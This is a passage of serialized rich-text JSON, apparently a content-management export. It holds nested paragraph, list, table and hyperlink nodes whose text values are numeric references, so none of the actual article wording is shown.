,[195541],{"data":195542,"content":195543,"nodeType":866},{},[195544],{"data":195545,"marks":195546,"value":184368,"nodeType":865},{},[],{"data":195548,"content":195549,"nodeType":2366},{},[195550],{"data":195551,"content":195552,"nodeType":866},{},[195553],{"data":195554,"marks":195555,"value":184378,"nodeType":865},{},[],{"data":195557,"content":195558,"nodeType":1317},{},[195559],{"data":195560,"marks":195561,"value":183866,"nodeType":865},{},[],{"data":195563,"content":195564,"nodeType":866},{},[195565],{"data":195566,"marks":195567,"value":184392,"nodeType":865},{},[195568],{"type":926},{"data":195570,"content":195571,"nodeType":866},{},[195572],{"data":195573,"marks":195574,"value":184399,"nodeType":865},{},[],{"data":195576,"content":195577,"nodeType":972},{},[],{"data":195579,"content":195580,"nodeType":981},{},[195581],{"data":195582,"marks":195583,"value":184409,"nodeType":865},{},[],{"data":195585,"content":195586,"nodeType":866},{},[195587],{"data":195588,"marks":195589,"value":184416,"nodeType":865},{},[],{"data":195591,"content":195592,"nodeType":1317},{},[195593],{"data":195594,"marks":195595,"value":184423,"nodeType":865},{},[],{"data":195597,"content":195598,"nodeType":1616},{},[195599,195608,195617,195626,195635],{"data":195600,"content":195601,"nodeType":1570},{},[195602],{"data":195603,"content":195604,"nodeType":866},{},[195605],{"data":195606,"marks":195607,"value":184436,"nodeType":865},{},[],{"data":195609,"content":195610,"nodeType":1570},{},[195611],{"data":195612,"content":195613,"nodeType":866},{},[195614],{"data":195615,"marks":195616,"value":184446,"nodeType":865},{},[],{"data":195618,"content":195619,"nodeType":1570},{},[195620],{"data":195621,"content":195622,"nodeType":866},{},[195623],{"data":195624,"marks":195625,"value":184456,"nodeType":865},{},[],{"data":195627,"content":195628,"nodeType":1570},{},[195629],{"data":195630,"content":195631,"nodeType":866},{},[195632],{"data":195633,"marks":195634,"value":184466,"nodeType":865},{},[],{"data":195636,"content":195637,"nodeType":1570},{},[195638],{"data":195639,"content":195640,"nodeType":866},{},[195641],{"data":195642,"marks":195643,"value":184476,"nodeType":865},{},[],{"data":195645,"content":195646,"nodeType":1317},{},[195647],{"data":195648,"marks":195649,"value":184483,"nodeType":865},{},[],{"data":195651,"content":195652,"nodeType":1616},{},[195653,195662,195671,195680],{"data":195654,"content":195655,"nodeType":1570},{},[195656],{"data":195657,"content":195658,"nodeType":866},{},[195659],{"data":195660,"marks":195661,"value":184496,"nodeType":865},{},[],{"data":195663,"content":195664,"nodeType":1570},{},[195665],{"data":195666,"content":195667,"nodeType":866},{},[195668],{"data":195669,"marks":195670,"value":184506,"nodeType":865},{},[],{"data":195672,"content":195673,"nodeType":1570},{},[195674],{"data":195675,"content":195676,"nodeType":866},{},[195677],{"data":195678,"marks":195679,"value":184516,"nodeType":865},{},[],{"data":195681,"content":195682,"nodeType":1570},{},[195683],{"data":195684,"content":195685,"nodeType":866},{},[195686],{"data":195687,"marks":195688,"value":184526,"nodeType":865},{},[],{"data":195690,"content":195691,"nodeType":1317},{},[195692],{"data":195693,"marks":195694,"value":184533,"nodeType":865},{},[],{"data":195696,"content":195697,"nodeType":1616},{},[195698,195707,195716],{"data":195699,"content":195700,"nodeType":1570},{},[195701],{"data":195702,"content":195703,"nodeType":866},{},[195704],{"data":195705,"marks":195706,"value":184546,"nodeType":865},{},[],{"data":195708,"content":195709,"nodeType":1570},{},[195710],{"data":195711,"content":195712,"nodeType":866},{},[195713],{"data":195714,"marks":195715,"value":184556,"nodeType":865},{},[],{"data":195717,"content":195718,"nodeType":1570},{},[195719],{"data":195720,"content":195721,"nodeType":866},{},[195722],{"data":195723,"marks":195724,"value":184566,"nodeType":865},{},[],{"data":195726,"content":195727,"nodeType":1317},{},[195728],{"data":195729,"marks":195730,"value":183681,"nodeType":865},{},[],{"data":195732,"content":195733,"nodeType":866},{},[195734],{"data":195735,"marks":195736,"value":183688,"nodeType":865},{},[],{"data":195738,"content":195739,"nodeType":2927},{},[195740,195779,195838],{"data":195741,"content":195742,"nodeType":2400},{},[195743,195752,195761,195770],{"data":195744,"content":195745,"nodeType":38076},{},[195746],{"data":195747,"content":195748,"nodeType":866},{},[195749],{"data":195750,"marks":195751,"value":183704,"nodeType":865},{},[],{"data":195753,"content":195754,"nodeType":38076},{},[195755],{"data":195756,"content":195757,"nodeType":866},{},[195758],{"data":195759,"marks":195760,"value":184170,"nodeType":865},{},[],{"data":195762,"content":195763,"nodeType":38076},{},[195764],{"data":195765,"content":195766,"nodeType":866},{},[195767],{"data":195768,"marks":195769,"value":183724,"nodeType":865},{},[],{"data":195771,"content":195772,"nodeType":38076},{},[195773],{"data":195774,"content":195775,"nodeType":866},{},[195776],{"data":195777,"marks":195778,"value":183734,"nodeType":865},{},[],{"data":195780,"content":195781,"nodeType":2400},{},[195782,195801,195820,195829],{"data":195783,"content":195784,"nodeType":2366},{},[195785],{"data":195786,"content":195787,"nodeType":866},{},[195788,195791,195798],{"data":195789,"marks":195790,"value":21,"nodeType":865},{},[],{"data":195792,"content":195793,"nodeType":889},{"uri":169182},[195794],{"data":195795,"marks":195796,"value":184208,"nodeType":865},{},[195797],{"type":943},{"data":195799,"marks":195800,"value":21,"nodeType":865},{},[],{"data":195802,"content":195803,"nodeType":2366},{},[195804],{"data":195805,"content":195806,"nodeType":866},{},[195807,195810,195817],{"data":195808,"marks":195809,"value":21,"nodeType":865},{},[],{"data":195811,"content":195812,"nodeType":889},{"uri":184223},[195813],{"data":195814,"marks":195815,"value":333,"nodeType":865},{},[195816],{"type":943},{"data":195818,"marks":195819,"value":21,"nodeType":865},{},[],{"data":195821,"content":195822,"nodeType":2366},{},[195823],{"data":195824,"content":195825,"nodeType":866},{},[195826],{"data":195827,"marks":195828,"value":184241,"nodeType":865},{},[],{"data":195830,"content":195831,"nodeType":2366},{},[195832],{"data":195833,"content":195834,"nodeType":866},{},[195835],{"data":195836,"marks":195837,"value":184251,"nodeType":865},{},[],{"data":195839,"content":195840,"nodeType":2400},{},[195841,195860,195879,195888],{"data":195842,"content":195843,"nodeType":2366},{},[195844],{"data":195845,"content":195846,"nodeType":866},{},[195847,195850,195857],{"data":195848,"marks":195849,"value":21,"nodeType":865},{},[],{"data":195851,"content":195852,"nodeType":889},{"uri":184694},[195853],{"data":195854,"marks":195855,"value":184700,"nodeType":865},{},[195856],{"type":943},{"data":195858,"marks":195859,"value":21,"nodeType":865},{},[],{"data":195861,"content":195862,"nodeType":2366},{},[195863],{"data":195864,"content":195865,"nodeType":866},{},[195866,195869,195876],{"data":195867,"marks":195868,"value":21,"nodeType":865},{},[],{"data":195870,"content":195871,"nodeType":889},{"uri":184715},[195872],{"data":195873,"marks":195874,"value":184721,"nodeType":865},{},[195875],{"type":943},{"data":195877,"marks":195878,"value":21,"nodeType":865},{},[],{"data":195880,"content":195881,"nodeType":2366},{},[195882],{"data":195883,"content":195884,"nodeType":866},{},[195885],{"data":195886,"marks":195887,"value":184734,"nodeType":865},{},[],{"data":195889,"content":195890,"nodeType":2366},{},[195891],{"data":195892,"content":195893,"nodeType":866},{},[195894],{"data":195895,"marks":195896,"value":184744,"nodeType":865},{},[],{"data":195898,"content":195899,"nodeType":1317},{},[195900],{"data":195901,"marks":195902,"value":183866,"nodeType":865},{},[],{"data":195904,"content":195905,"nodeType":866},{},[195906],{"data":195907,"marks":195908,"value":184758,"nodeType":865},{},[195909],{"type":926},{"data":195911,"content":195912,"nodeType":866},{},[195913],{"data":195914,"marks":195915,"value":184765,"nodeType":865},{},[],{"data":195917,"content":195918,"nodeType":866},{},[195919],{"data":195920,"marks":195921,"value":184773,"nodeType":865},{},[195922],{"type":926},{"data":195924,"content":195925,"nodeType":866},{},[195926],{"data":195927,"marks":195928,"value":184780,"nodeType":865},{},[],{"data":195930,"content":195931,"nodeType":866},{},[195932],{"data":195933,"marks":195934,"value":184788,"nodeType":865},{},[195935],{"type":926},{"data":195937,"content":195938,"nodeType":866},{},[195939],{"data":195940,"marks":195941,"value":184795,"nodeType":865},{},[],{"data":195943,"content":195944,"nodeType":972},{},[],{"data":195946,"content":195947,"nodeType":981},{},[195948],{"data":195949,"marks":195950,"value":184805,"nodeType":865},{},[],{"data":195952,"content":195953,"nodeType":866},{},[195954],{"data":195955,"marks":195956,"value":184812,"nodeType":865},{},[],{"data":195958,"content":195959,"nodeType":1317},{},[195960],{"data":195961,"marks":195962,"value":184819,"nodeType":865},{},[],{"data":195964,"content":195965,"nodeType":1616},{},[195966,195975,195984,195993,196002,196011],{"data":195967,"content":195968,"nodeType":1570},{},[195969],{"data":195970,"content":195971,"nodeType":866},{},[195972],{"data":195973,"marks":195974,"value":184832,"nodeType":865},{},[],{"data":195976,"content":195977,"nodeType":1570},{},[195978],{"data":195979,"content":195980,"nodeType":866},{},[195981],{"data":195982,"marks":195983,"value":184842,"nodeType":865},{},[],{"data":195985,"content":195986,"nodeType":1570},{},[195987],{"data":195988,"content":195989,"nodeType":866},{},[195990],{"data":195991,"marks":195992,"value":184852,"nodeType":865},{},[],{"data":195994,"content":195995,"nodeType":1570},{},[195996],{"data":195997,"content":195998,"nodeType":866},{},[195999],{"data":196000,"marks":196001,"value":184862,"nodeType":865},{},[],{"data":196003,"content":196004,"nodeType":1570},{},[196005],{"data":196006,"content":196007,"nodeType":866},{},[196008],{"data":196009,"marks":196010,"value":184872,"nodeType":865},{},[],{"data":196012,"content":196013,"nodeType":1570},{},[196014],{"data":196015,"content":196016,"nodeType":866},{},[196017],{"data":196018,"marks":196019,"value":184882,"nodeType":865},{},[],{"data":196021,"content":196022,"nodeType":1317},{},[196023],{"data":196024,"marks":196025,"value":184889,"nodeType":865},{},[],{"data":196027,"content":196028,"nodeType":1616},{},[196029,196038,196047],{"data":196030,"content":196031,"nodeType":1570},{},[196032],{"data":196033,"content":196034,"nodeType":866},{},[196035],{"data":196036,"marks":196037,"value":184902,"nodeType":865},{},[],{"data":196039,"content":196040,"nodeType":1570},{},[196041],{"data":196042,"content":196043,"nodeType":866},{},[196044],{"data":196045,"marks":196046,"value":184912,"nodeType":865},{},[],{"data":196048,"content":196049,"nodeType":1570},{},[196050],{"data":196051,"content":196052,"nodeType":866},{},[196053],{"data":196054,"marks":196055,"value":184922,"nodeType":865},{},[],{"data":196057,"content":196058,"nodeType":1317},{},[196059],{"data":196060,"marks":196061,"value":184929,"nodeType":865},{},[],{"data":196063,"content":196064,"nodeType":1616},{},[196065,196074,196083],{"data":196066,"content":196067,"nodeType":1570},{},[196068],{"data":196069,"content":196070,"nodeType":866},{},[196071],{"data":196072,"marks":196073,"value":184942,"nodeType":865},{},[],{"data":196075,"content":196076,"nodeType":1570},{},[196077],{"data":196078,"content":196079,"nodeType":866},{},[196080],{"data":196081,"marks":196082,"value":184952,"nodeType":865},{},[],{"data":196084,"content":196085,"nodeType":1570},{},[196086],{"data":196087,"content":196088,"nodeType":866},{},[196089],{"data":196090,"marks":196091,"value":184962,"nodeType":865},{},[],{"data":196093,"content":196094,"nodeType":1317},{},[196095],{"data":196096,"marks":196097,"value":183681,"nodeType":865},{},[],{"data":196099,"content":196100,"nodeType":866},{},[196101],{"data":196102,"marks":196103,"value":183688,"nodeType":865},{},[],{"data":196105,"content":196106,"nodeType":2927},{},[196107,196146],{"data":196108,"content":196109,"nodeType":2400},{},[196110,196119,196128,196137],{"data":196111,"content":196112,"nodeType":38076},{},[196113],{"data":196114,"content":196115,"nodeType":866},{},[196116],{"data":196117,"marks":196118,"value":183704,"nodeType":865},{},[],{"data":196120,"content":196121,"nodeType":38076},{},[196122],{"data":196123,"content":196124,"nodeType":866},{},[196125],{"data":196126,"marks":196127,"value":184170,"nodeType":865},{},[],{"data":196129,"content":196130,"nodeType":38076},{},[196131],{"data":196132,"content":196133,"nodeType":866},{},[196134],{"data":196135,"marks":196136,"value":183724,"nodeType":865},{},[],{"data":196138,"content":196139,"nodeType":38076},{},[196140],{"data":196141,"content":196142,"nodeType":866},{},[196143],{"data":196144,"marks":196145,"value":183734,"nodeType":865},{},[],{"data":196147,"content":196148,"nodeType":2400},{},[196149,196168,196187,196196],{"data":196150,"content":196151,"nodeType":2366},{},[196152],{"data":196153,"content":196154,"nodeType":866},{},[196155,196158,196165],{"data":196156,"marks":196157,"value":21,"nodeType":865},{},[],{"data":196159,"content":196160,"nodeType":889},{"uri":53413},[196161],{"data":196162,"marks":196163,"value":185036,"nodeType":865},{},[196164],{"type":943},{"data":196166,"marks":196167,"value":21,"nodeType":865},{},[],{"data":196169,"content":196170,"nodeType":2366},{},[196171],{"data":196172,"content":196173,"nodeType":866},{},[196174,196177,196184],{"data":196175,"marks":196176,"value":21,"nodeType":865},{},[],{"data":196178,"content":196179,"nodeType":889},{"uri":185051},[196180],{"data":196181,"marks":196182,"value":185057,"nodeType":865},{},[196183],{"type":943},{"data":196185,"marks":196186,"value":21,"nodeType":865},{},[],{"data":196188,"content":196189,"nodeType":2366},{},[196190],{"data":196191,"content":196192,"nodeType":866},{},[196193],{"data":196194,"marks":196195,"value":185070,"nodeType":865},{},[],{"data":196197,"content":196198,"nodeType":2366},{},[196199],{"data":196200,"content":196201,"nodeType":866},{},[196202],{"data":196203,"marks":196204,"value":185080,"nodeType":865},{},[],{"data":196206,"content":196207,"nodeType":972},{},[],{"data":196209,"content":196210,"nodeType":981},{},[196211],{"data":196212,"marks":196213,"value":185090,"nodeType":865},{},[],{"data":196215,"content":196216,"nodeType":866},{},[196217],{"data":196218,"marks":196219,"value":185097,"nodeType":865},{},[],{"data":196221,"content":196222,"nodeType":1317},{},[196223],{"data":196224,"marks":196225,"value":185104,"nodeType":865},{},[],{"data":196227,"content":196228,"nodeType":1616},{},[196229,196238,196247,196256,196265,196274],{"data":196230,"content":196231,"nodeType":1570},{},[196232],{"data":196233,"content":196234,"nodeType":866},{},[196235],{"data":196236,"marks":196237,"value":185117,"nodeType":865},{},[],{"data":196239,"content":196240,"nodeType":1570},{},[196241],{"data":196242,"content":196243,"nodeType":866},{},[196244],{"data":196245,"marks":196246,"value":185127,"nodeType":865},{},[],{"data":196248,"content":196249,"nodeType":1570},{},[196250],{"data":196251,"content":196252,"nodeType":866},{},[196253],{"data":196254,"marks":196255,"value":185137,"nodeType":865},{},[],{"data":196257,"content":196258,"nodeType":1570},{},[196259],{"data":196260,"content":196261,"nodeType":866},{},[196262],{"data":196263,"marks":196264,"value":185147,"nodeType":865},{},[],{"data":196266,"content":196267,"nodeType":1570},{},[196268],{"data":196269,"content":196270,"nodeType":866},{},[196271],{"data":196272,"marks":196273,"value":185157,"nodeType":865},{},[],{"data":196275,"content":196276,"nodeType":1570},{},[196277],{"data":196278,"content":196279,"nodeType":866},{},[196280],{"data":196281,"marks":196282,"value":185167,"nodeType":865},{},[],{"data":196284,"content":196285,"nodeType":1317},{},[196286],{"data":196287,"marks":196288,"value":185174,"nodeType":865},{},[],{"data":196290,"content":196291,"nodeType":1616},{},[196292,196301,196310],{"data":196293,"content":196294,"nodeType":1570},{},[196295],{"data":196296,"content":196297,"nodeType":866},{},[196298],{"data":196299,"marks":196300,"value":185187,"nodeType":865},{},[],{"data":196302,"content":196303,"nodeType":1570},{},[196304],{"data":196305,"content":196306,"nodeType":866},{},[196307],{"data":196308,"marks":196309,"value":185197,"nodeType":865},{},[],{"data":196311,"content":196312,"nodeType":1570},{},[196313],{"data":196314,"content":196315,"nodeType":866},{},[196316],{"data":196317,"marks":196318,"value":185207,"nodeType":865},{},[],{"data":196320,"content":196321,"nodeType":1317},{},[196322],{"data":196323,"marks":196324,"value":185214,"nodeType":865},{},[],{"data":196326,"content":196327,"nodeType":1616},{},[196328,196337,196346],{"data":196329,"content":196330,"nodeType":1570},{},[196331],{"data":196332,"content":196333,"nodeType":866},{},[196334],{"data":196335,"marks":196336,"value":185227,"nodeType":865},{},[],{"data":196338,"content":196339,"nodeType":1570},{},[196340],{"data":196341,"content":196342,"nodeType":866},{},[196343],{"data":196344,"marks":196345,"value":185237,"nodeType":865},{},[],{"data":196347,"content":196348,"nodeType":1570},{},[196349],{"data":196350,"content":196351,"nodeType":866},{},[196352],{"data":196353,"marks":196354,"value":185247,"nodeType":865},{},[],{"data":196356,"content":196357,"nodeType":1317},{},[196358],{"data":196359,"marks":196360,"value":183681,"nodeType":865},{},[],{"data":196362,"content":196363,"nodeType":866},{},[196364],{"data":196365,"marks":196366,"value":183688,"nodeType":865},{},[],{"data":196368,"content":196369,"nodeType":2927},{},[196370,196409,196470],{"data":196371,"content":196372,"nodeType":2400},{},[196373,196382,196391,196400],{"data":196374,"content":196375,"nodeType":38076},{},[196376],{"data":196377,"content":196378,"nodeType":866},{},[196379],{"data":196380,"marks":196381,"value":183704,"nodeType":865},{},[],{"data":196383,"content":196384,"nodeType":38076},{},[196385],{"data":196386,"content":196387,"nodeType":866},{},[196388],{"data":196389,"marks":196390,"value":184170,"nodeType":865},{},[],{"data":196392,"content":196393,"nodeType":38076},{},[196394],{"data":196395,"content":196396,"nodeType":866},{},[196397],{"data":196398,"marks":196399,"value":183724,"nodeType":865},{},[],{"data":196401,"content":196402,"nodeType":38076},{},[196403],{"data":196404,"content":196405,"nodeType":866},{},[196406],{"data":196407,"marks":196408,"value":183734,"nodeType":865},{},[],{"data":196410,"content":196411,"nodeType":2400},{},[196412,196432,196452,196461],{"data":196413,"content":196414,"nodeType":2366},{},[196415],{"data":196416,"content":196417,"nodeType":866},{},[196418,196422,196429],{"data":196419,"marks":196420,"value":21,"nodeType":865},{},[196421],{"type":943},{"data":196423,"content":196424,"nodeType":889},{"uri":147552},[196425],{"data":196426,"marks":196427,"value":185322,"nodeType":865},{},[196428],{"type":943},{"data":196430,"marks":196431,"value":21,"nodeType":865},{},[],{"data":196433,"content":196434,"nodeType":2366},{},[196435],{"data":196436,"content":196437,"nodeType":866},{},[196438,196442,196449],{"data":196439,"marks":196440,"value":21,"nodeType":865},{},[196441],{"type":943},{"data":196443,"content":196444,"nodeType":889},{"uri":185338},[196445],{"data":196446,"marks":196447,"value":185344,"nodeType":865},{},[196448],{"type":943},{"data":196450,"marks":196451,"value":21,"nodeType":865},{},[],{"data":196453,"content":196454,"nodeType":2366},{},[196455],{"data":196456,"content":196457,"nodeType":866},{},[196458],{"data":196459,"marks":196460,"value":184241,"nodeType":865},{},[],{"data":196462,"content":196463,"nodeType":2366},{},[196464],{"data":196465,"content":196466,"nodeType":866},{},[196467],{"data":196468,"marks":196469,"value":185366,"nodeType":865},{},[],{"data":196471,"content":196472,"nodeType":2400},{},[196473,196492,196513,196522],{"data":196474,"content":196475,"nodeType":2366},{},[196476],{"data":196477,"content":196478,"nodeType":866},{},[196479,196482,196489],{"data":196480,"marks":196481,"value":21,"nodeType":865},{},[],{"data":196483,"content":196484,"nodeType":889},{"uri":185381},[196485],{"data":196486,"marks":196487,"value":185387,"nodeType":865},{},[196488],{"type":943},{"data":196490,"marks":196491,"value":21,"nodeType":865},{},[],{"data":196493,"content":196494,"nodeType":2366},{},[196495],{"data":196496,"content":196497,"nodeType":866},{},[196498,196502,196509],{"data":196499,"marks":196500,"value":21,"nodeType":865},{},[196501],{"type":943},{"data":196503,"content":196504,"nodeType":889},{"uri":185403},[196505],{"data":196506,"marks":196507,"value":185409,"nodeType":865},{},[196508],{"type":943},{"data":196510,"marks":196511,"value":21,"nodeType":865},{},[196512],{"type":943},{"data":196514,"content":196515,"nodeType":2366},{},[196516],{"data":196517,"content":196518,"nodeType":866},{},[196519],{"data":196520,"marks":196521,"value":185423,"nodeType":865},{},[],{"data":196523,"content":196524,"nodeType":2366},{},[196525],{"data":196526,"content":196527,"nodeType":866},{},[196528],{"data":196529,"marks":196530,"value":185433,"nodeType":865},{},[],{"data":196532,"content":196533,"nodeType":972},{},[],{"data":196535,"content":196536,"nodeType":981},{},[196537],{"data":196538,"marks":196539,"value":185443,"nodeType":865},{},[],{"data":196541,"content":196542,"nodeType":866},{},[196543],{"data":196544,"marks":196545,"value":185450,"nodeType":865},{},[],{"data":196547,"content":196548,"nodeType":1317},{},[196549],{"data":196550,"marks":196551,"value":185457,"nodeType":865},{},[],{"data":196553,"content":196554,"nodeType":1616},{},[196555,196564,196573,196582,196591,196600,196609],{"data":196556,"content":196557,"nodeType":1570},{},[196558],{"data":196559,"content":196560,"nodeType":866},{},[196561],{"data":196562,"marks":196563,"value":185470,"nodeType":865},{},[],{"data":196565,"content":196566,"nodeType":1570},{},[196567],{"data":196568,"content":196569,"nodeType":866},{},[196570],{"data":196571,"marks":196572,"value":185480,"nodeType":865},{},[],{"data":196574,"content":196575,"nodeType":1570},{},[196576],{"data":196577,"content":196578,"nodeType":866},{},[196579],{"data":196580,"marks":196581,"value":185490,"nodeType":865},{},[],{"data":196583,"content":196584,"nodeType":1570},{},[196585],{"data":196586,"content":196587,"nodeType":866},{},[196588],{"data":196589,"marks":196590,"value":185500,"nodeType":865},{},[],{"data":196592,"content":196593,"nodeType":1570},{},[196594],{"data":196595,"content":196596,"nodeType":866},{},[196597],{"data":196598,"marks":196599,"value":185510,"nodeType":865},{},[],{"data":196601,"content":196602,"nodeType":1570},{},[196603],{"data":196604,"content":196605,"nodeType":866},{},[196606],{"data":196607,"marks":196608,"value":185520,"nodeType":865},{},[],{"data":196610,"content":196611,"nodeType":1570},{},[196612],{"data":196613,"content":196614,"nodeType":866},{},[196615],{"data":196616,"marks":196617,"value":185530,"nodeType":865},{},[],{"data":196619,"content":196620,"nodeType":1317},{},[196621],{"data":196622,"marks":196623,"value":185537,"nodeType":865},{},[],{"data":196625,"content":196626,"nodeType":1616},{},[196627,196636,196645],{"data":196628,"content":196629,"nodeType":1570},{},[196630],{"data":196631,"content":196632,"nodeType":866},{},[196633],{"data":196634,"marks":196635,"value":185550,"nodeType":865},{},[],{"data":196637,"content":196638,"nodeType":1570},{},[196639],{"data":196640,"content":196641,"nodeType":866},{},[196642],{"data":196643,"marks":196644,"value":185560,"nodeType":865},{},[],{"data":196646,"content":196647,"nodeType":1570},{},[196648],{"data":196649,"content":196650,"nodeType":866},{},[196651],{"data":196652,"marks":196653,"value":185570,"nodeType":865},{},[],{"data":196655,"content":196656,"nodeType":1317},{},[196657],{"data":196658,"marks":196659,"value":185577,"nodeType":865},{},[],{"data":196661,"content":196662,"nodeType":1616},{},[196663,196672,196681],{"data":196664,"content":196665,"nodeType":1570},{},[196666],{"data":196667,"content":196668,"nodeType":866},{},[196669],{"data":196670,"marks":196671,"value":185590,"nodeType":865},{},[],{"data":196673,"content":196674,"nodeType":1570},{},[196675],{"data":196676,"content":196677,"nodeType":866},{},[196678],{"data":196679,"marks":196680,"value":185600,"nodeType":865},{},[],{"data":196682,"content":196683,"nodeType":1570},{},[196684],{"data":196685,"content":196686,"nodeType":866},{},[196687],{"data":196688,"marks":196689,"value":185610,"nodeType":865},{},[],{"data":196691,"content":196692,"nodeType":1317},{},[196693],{"data":196694,"marks":196695,"value":183681,"nodeType":865},{},[],{"data":196697,"content":196698,"nodeType":866},{},[196699],{"data":196700,"marks":196701,"value":183688,"nodeType":865},{},[],{"data":196703,"content":196704,"nodeType":2927},{},[196705,196744,196803,196862],{"data":196706,"content":196707,"nodeType":2400},{},[196708,196717,196726,196735],{"data":196709,"content":196710,"nodeType":38076},{},[196711],{"data":196712,"content":196713,"nodeType":866},{},[196714],{"data":196715,"marks":196716,"value":183704,"nodeType":865},{},[],{"data":196718,"content":196719,"nodeType":38076},{},[196720],{"data":196721,"content":196722,"nodeType":866},{},[196723],{"data":196724,"marks":196725,"value":184170,"nodeType":865},{},[],{"data":196727,"content":196728,"nodeType":38076},{},[196729],{"data":196730,"content":196731,"nodeType":866},{},[196732],{"data":196733,"marks":196734,"value":183724,"nodeType":865},{},[],{"data":196736,"content":196737,"nodeType":38076},{},[196738],{"data":196739,"content":196740,"nodeType":866},{},[196741],{"data":196742,"marks":196743,"value":183734,"nodeType":865},{},[],{"data":196745,"content":196746,"nodeType":2400},{},[196747,196766,196785,196794],{"data":196748,"content":196749,"nodeType":2366},{},[196750],{"data":196751,"content":196752,"nodeType":866},{},[196753,196756,196763],{"data":196754,"marks":196755,"value":21,"nodeType":865},{},[],{"data":196757,"content":196758,"nodeType":889},{"uri":170004},[196759],{"data":196760,"marks":196761,"value":184334,"nodeType":865},{},[196762],{"type":943},{"data":196764,"marks":196765,"value":21,"nodeType":865},{},[],{"data":196767,"content":196768,"nodeType":2366},{},[196769],{"data":196770,"content":196771,"nodeType":866},{},[196772,196775,196782],{"data":196773,"marks":196774,"value":21,"nodeType":865},{},[],{"data":196776,"content":196777,"nodeType":889},{"uri":184349},[196778],{"data":196779,"marks":196780,"value":184355,"nodeType":865},{},[196781],{"type":943},{"data":196783,"marks":196784,"value":21,"nodeType":865},{},[],{"data":196786,"content":196787,"nodeType":2366},{},[196788],{"data":196789,"content":196790,"nodeType":866},{},[196791],{"data":196792,"marks":196793,"value":185715,"nodeType":865},{},[],{"data":196795,"content":196796,"nodeType":2366},{},[196797],{"data":196798,"content":196799,"nodeType":866},{},[196800],{"data":196801,"marks":196802,"value":184378,"nodeType":865},{},[],{"data":196804,"content":196805,"nodeType":2400},{},[196806,196825,196844,196853],{"data":196807,"content":196808,"nodeType":2366},{},[196809],{"data":196810,"content":196811,"nodeType":866},{},[196812,196815,196822],{"data":196813,"marks":196814,"value":21,"nodeType":865},{},[],{"data":196816,"content":196817,"nodeType":889},{"uri":101210},[196818],{"data":196819,"marks":196820,"value":185744,"nodeType":865},{},[196821],{"type":943},{"data":196823,"marks":196824,"value":21,"nodeType":865},{},[],{"data":196826,"content":196827,"nodeType":2366},{},[196828],{"data":196829,"content":196830,"nodeType":866},{},[196831,196834,196841],{"data":196832,"marks":196833,"value":21,"nodeType":865},{},[],{"data":196835,"content":196836,"nodeType":889},{"uri":185759},[196837],{"data":196838,"marks":196839,"value":101216,"nodeType":865},{},[196840],{"type":943},{"data":196842,"marks":196843,"value":21,"nodeType":865},{},[],{"data":196845,"content":196846,"nodeType":2366},{},[196847],{"data":196848,"content":196849,"nodeType":866},{},[196850],{"data":196851,"marks":196852,"value":185777,"nodeType":865},{},[],{"data":196854,"content":196855,"nodeType":2366},{},[196856],{"data":196857,"content":196858,"nodeType":866},{},[196859],{"data":196860,"marks":196861,"value":185787,"nodeType":865},{},[],{"data":196863,"content":196864,"nodeType":2400},{},[196865,196884,196903,196912],{"data":196866,"content":196867,"nodeType":2366},{},[196868],{"data":196869,"content":196870,"nodeType":866},{},[196871,196874,196881],{"data":196872,"marks":196873,"value":21,"nodeType":865},{},[],{"data":196875,"content":196876,"nodeType":889},{"uri":185802},[196877],{"data":196878,"marks":196879,"value":185808,"nodeType":865},{},[196880],{"type":943},{"data":196882,"marks":196883,"value":21,"nodeType":865},{},[],{"data":196885,"content":196886,"nodeType":2366},{},[196887],{"data":196888,"content":196889,"nodeType":866},{},[196890,196893,196900],{"data":196891,"marks":196892,"value":21,"nodeType":865},{},[],{"data":196894,"content":196895,"nodeType":889},{"uri":185823},[196896],{"data":196897,"marks":196898,"value":185829,"nodeType":865},{},[196899],{"type":943},{"data":196901,"marks":196902,"value":21,"nodeType":865},{},[],{"data":196904,"content":196905,"nodeType":2366},{},[196906],{"data":196907,"content":196908,"nodeType":866},{},[196909],{"data":196910,"marks":196911,"value":185842,"nodeType":865},{},[],{"data":196913,"content":196914,"nodeType":2366},{},[196915],{"data":196916,"content":196917,"nodeType":866},{},[196918],{"data":196919,"marks":196920,"value":185852,"nodeType":865},{},[],{"data":196922,"content":196923,"nodeType":972},{},[],{"data":196925,"content":196926,"nodeType":981},{},[196927],{"data":196928,"marks":196929,"value":185862,"nodeType":865},{},[],{"data":196931,"content":196932,"nodeType":1317},{},[196933],{"data":196934,"marks":196935,"value":185869,"nodeType":865},{},[],{"data":196937,"content":196938,"nodeType":866},{},[196939],{"data":196940,"marks":196941,"value":185876,"nodeType":865},{},[],{"data":196943,"content":196944,"nodeType":866},{},[196945],{"data":196946,"marks":196947,"value":185883,"nodeType":865},{},[],{"data":196949,"content":196950,"nodeType":972},{},[],{"data":196952,"content":196953,"nodeType":1317},{},[196954],{"data":196955,"marks":196956,"value":185893,"nodeType":865},{},[],{"data":196958,"content":196959,"nodeType":866},{},[196960],{"data":196961,"marks":196962,"value":185900,"nodeType":865},{},[],{"data":196964,"content":196965,"nodeType":866},{},[196966],{"data":196967,"marks":196968,"value":185907,"nodeType":865},{},[],{"data":196970,"content":196971,"nodeType":972},{},[],{"data":196973,"content":196974,"nodeType":1317},{},[196975],{"data":196976,"marks":196977,"value":185917,"nodeType":865},{},[],{"data":196979,"content":196980,"nodeType":866},{},[196981],{"data":196982,"marks":196983,"value":185924,"nodeType":865},{},[],{"data":196985,"content":196986,"nodeType":866},{},[196987],{"data":196988,"marks":196989,"value":185931,"nodeType":865},{},[],{"data":196991,"content":196992,"nodeType":866},{},[196993],{"data":196994,"marks":196995,"value":185938,"nodeType":865},{},[],{"items":196997},[196998,197000],{"sys":196999,"name":7796},{"id":7795},{"sys":197001,"name":342},{"id":4642},{"items":197003},[197004],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":197005},{"url":7804},{"__typename":1429,"sys":197007,"content":197008,"title":190366,"synopsis":192982,"hashTags":59,"publishedDate":192983,"slug":190367,"tagsCollection":197360,"authorsCollection":197366},{"id":126877},{"json":197009},{"data":197010,"content":197011,"nodeType":1382},{},[197012,197017,197034,197051,197066,197083,197104,197110,197127,197144,197150,197155,197161,197167,197173,197179,197185,197191,197197,197203,197209,197226,197232,197237,197257,197263,197278,197283,197300,197306,197312,197318,197324,197339,197345],{"data":197013,"content":197016,"nodeType":912},{"target":197014},{"sys":197015},{"id":192587,"type":909,"linkType":910},[],{"data":197018,"content":197019,"nodeType":866},{},[197020,197023,197031],{"data":197021,"marks":197022,"value":192595,"nodeType":865},{},[],{"data":197024,"content":197027,"nodeType":33606},{"target":197025}